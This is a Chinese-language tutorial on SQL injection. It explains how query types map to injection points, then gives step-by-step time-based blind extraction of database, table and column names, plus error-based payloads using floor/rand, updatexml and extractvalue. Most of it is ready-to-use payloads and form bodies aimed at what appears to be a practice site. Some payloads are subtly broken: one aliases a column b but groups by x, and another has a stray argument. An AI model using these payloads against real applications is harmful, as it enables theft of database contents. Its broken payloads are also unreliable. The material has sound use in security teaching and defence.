WBE漏洞-SQL注入之查询方式及报错盲注
前言
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好地选择对应的注入语句。
涉及知识点
select 查询数据
在网站应用中进行数据显示查询效果
例: select * from news wher id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’
order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系去猜测注入点产生地方或应用猜测到对方的SQL查询方式。
新知识点:
xpath报错注入(extractvalue和updatexml)
floor()知识
like ‘ro%’ #判断ro或ro…是否成立
like ‘ro_’ #判断ro+一个字符是否成立
regexp ‘[1-z]’ #匹配xiaodi及xiaodi…等
MySQL REGEXP:正则表达式查询
if(条件,5,0) #条件成立,返回5,反之,返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置B开始,截取a字符串的c位,c可选,默认剩下
substr(a,b,c) #从位置B开始,截取a字符串的c位
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度ascii(x)=97 #判断x的ascii码是否等于97
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断
(不需要回显信息就能看到)(2)
regexp,like,ascii或ord,left,,mid
基于时间的SQL盲注-延时判断
(不需要回显信息就能看到)(3)
通过延迟进而加载页面判断猜想是否正确
sleep()延时函数
if(a,b,c)条件判断函数
注入步骤
先用length(database())判断当前数据库长度
可以用bp进行参数爆破
猜数据库名字
select if(database() like 'p%',sleep(5),0) from member limit 0,1;
要加limit 0,1噢,不能的话他会一个个数据去比对的
或用substr函数
select if(substr(database(),1,1)='p',sleep(5),0) from member limit 0,1;
再加个ascii函数,因为工具的暴力破解的参数都是基于数据的,所以用数字来判断会好些
select if(ascii(substr(database(),1,1))=112,sleep(5),0) from member limit 0,1;
注意,可以用二分法进行比对,利用>符号判断ascii,大于的话说明比112大,范围在112-255之间,小于的话说明比112小,范围在0-112之间
找数据库名字的第二个字符
select if(ascii(substr(database(),2,1))=105,sleep(5),0) from member limit 0,1;
以此类推,找出数据库完整名字
找表
select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(5),0) from member limit 0,1;
更改substr(1,1)为substr(1,2)继续找第一个数据表名字的第二个字符
更改limit 0,1为limit1,1继续找第二个数据库表
属性列
select if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,sleep(5),0) from member limit 0,1;
其实以上手工是很难注入的,因为情况实在是太多了,可以进行半手动半工具进行爆破,也可以直接使用sqlmap工具进行爆破
and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+
if,sleep
基于报错的SQL盲注-报错回显
(优先于选择:1)
floor
1
username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
2
username=x' and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
有可能会出现如下错误可用第二种payload
Truncated incorrect DOUBLE value: 'x'
核心payload
select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x)a
需更换地方只有database(),其他为固定格式
逐一拆解代码
floor(rand(0)*2)
concat(0x7e,database(),0x7e)
count(*)
concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b
临时表a
select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x
注意:select(concat0x7e,database(),0x7e)将返回的消息用~标注,方便查看,也是为了开发工具能够一下识别出来,直接select database()也是可以的
updatexml
username=x ’ or updatexml(1,concat(0x7e,(version())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
extractvalue
username=x ’ or extractvalue(1,concat(0x7e,database())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit